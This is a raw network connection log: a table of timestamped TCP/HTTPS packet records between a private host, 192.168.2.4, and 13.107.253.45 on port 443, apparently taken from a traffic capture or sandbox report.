Oct 28, 2024 19:12:22.313644886 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.313798904 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.313832998 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.315299034 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.315346003 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.315414906 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.316286087 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.316309929 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.316375971 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.316452980 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.316478968 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:22.316518068 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:22.316541910 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.201672077 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.201730967 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.203037024 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.203095913 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.203808069 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.203823090 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.204232931 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.204263926 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.204737902 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.204750061 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.339941978 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.340053082 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.340140104 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.340413094 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.340451956 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.340477943 CET	49784	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.340511084 CET	443	49784	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.343449116 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.343498945 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.343576908 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.343753099 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.343769073 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.345747948 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.346021891 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.346416950 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.346445084 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.346709013 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.346785069 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.346920967 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.346931934 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.346946955 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.347079992 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.347227097 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.347255945 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.347435951 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.347451925 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.347697973 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.347703934 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.347870111 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.347875118 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.348021984 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.348040104 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.348052025 CET	49783	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.348057985 CET	443	49783	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.350341082 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.350379944 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.350488901 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.350641012 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.350657940 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.484004974 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.484333038 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.485434055 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.485562086 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.485637903 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.485686064 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.485691071 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.485707998 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.485716105 CET	49787	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.485723019 CET	443	49787	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.486872911 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.486893892 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.486901999 CET	49786	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.486908913 CET	443	49786	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.489609957 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.489650011 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.489733934 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.490633011 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.490667105 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.490736961 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.490751982 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.490773916 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.490905046 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.490921974 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.491501093 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.491584063 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.491656065 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.491775036 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.491782904 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.491795063 CET	49785	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.491800070 CET	443	49785	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.493741989 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.493808031 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:23.493884087 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.494064093 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:23.494096994 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.107336998 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.109571934 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.109606981 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.110064030 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.110094070 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.145442009 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.149281979 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.149312019 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.149770021 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.149776936 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.251151085 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.251296997 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.251368999 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.251596928 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.251616001 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.251629114 CET	49788	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.251636028 CET	443	49788	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.256179094 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.256263971 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.256350994 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.256546974 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.256566048 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.288312912 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.288978100 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.289001942 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.289474010 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.289480925 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.290638924 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.290927887 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.290987015 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.291286945 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.291301012 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.291862011 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.292123079 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.292136908 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.292438984 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.292445898 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.424463034 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.425199032 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.425272942 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.428618908 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.428699970 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.428759098 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.429589987 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.429608107 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.429621935 CET	49791	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.429629087 CET	443	49791	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.430443048 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.430479050 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.430507898 CET	49792	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.430524111 CET	443	49792	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.433001041 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.433141947 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.433202982 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.442500114 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.442543983 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.442627907 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.449598074 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.449610949 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.449625015 CET	49790	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.449630976 CET	443	49790	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.450542927 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.450582027 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.468019009 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.468060970 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.468161106 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.469012022 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.469043970 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.469106913 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.469175100 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.469193935 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:24.469300032 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:24.469314098 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.029480934 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.056845903 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.056904078 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.057367086 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.057383060 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.190577984 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.190834999 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.190911055 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.191927910 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.193383932 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.193424940 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.193451881 CET	49793	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.193466902 CET	443	49793	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.201944113 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.202002048 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.202373028 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.202394009 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.210712910 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.210757017 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.210844994 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.211028099 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.211046934 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.215265036 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.215600967 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.215642929 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.219738960 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.219748020 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.261317015 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.262121916 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.262145042 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.266562939 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.266577005 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.334047079 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.334142923 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.334239960 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.338645935 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.338684082 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.338713884 CET	49794	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.338732004 CET	443	49794	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.350482941 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.350653887 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.350725889 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.358685970 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.358685970 CET	49796	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.358710051 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.358721018 CET	443	49796	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.377048016 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.377100945 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.377198935 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.388154030 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.388185978 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.388247013 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.388345957 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.388362885 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.388720989 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.388739109 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.404266119 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.404491901 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.404556990 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.404731989 CET	49795	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.404752016 CET	443	49795	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.414386034 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.414416075 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.414496899 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.414657116 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.414668083 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.856390953 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.856467009 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.856518984 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.856762886 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.856782913 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.856797934 CET	49789	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.856806040 CET	443	49789	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.860308886 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.860351086 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.860429049 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.860575914 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.860598087 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.975070000 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.975868940 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.975886106 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:25.976255894 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:25.976263046 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.114732981 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.114902973 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.115014076 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.115168095 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.115168095 CET	49797	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.115233898 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.115289927 CET	443	49797	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.118366957 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.118401051 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.118482113 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.118669987 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.118681908 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.158016920 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.158864021 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.158891916 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.159277916 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.159285069 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.176779032 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.177500010 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.177516937 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.177778959 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.177786112 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.181360960 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.181687117 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.181705952 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.182054996 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.182063103 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.302767038 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.303456068 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.303634882 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.303634882 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.303634882 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.306596994 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.306688070 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.306780100 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.307017088 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.307050943 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.319339037 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.319482088 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.319545031 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.319740057 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.319740057 CET	49799	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.319761038 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.319775105 CET	443	49799	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.320043087 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.320255041 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.320313931 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.320358038 CET	49800	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.320373058 CET	443	49800	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.321969986 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.322000980 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.322165966 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.322180033 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.322213888 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.322259903 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.322269917 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.322283030 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.322463989 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.322498083 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.603610992 CET	49798	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.603631973 CET	443	49798	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.625233889 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.625794888 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.625853062 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.626364946 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.626379013 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.774328947 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.774497986 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.774662018 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.774717093 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.774718046 CET	49801	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.774751902 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.774797916 CET	443	49801	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.777896881 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.777935028 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:26.778012991 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.778157949 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:26.778167009 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.061254978 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.062479973 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.062542915 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.070210934 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.070264101 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.080728054 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.081211090 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.081223965 CET	443	49802	13.107.253.45	192.168.2.4
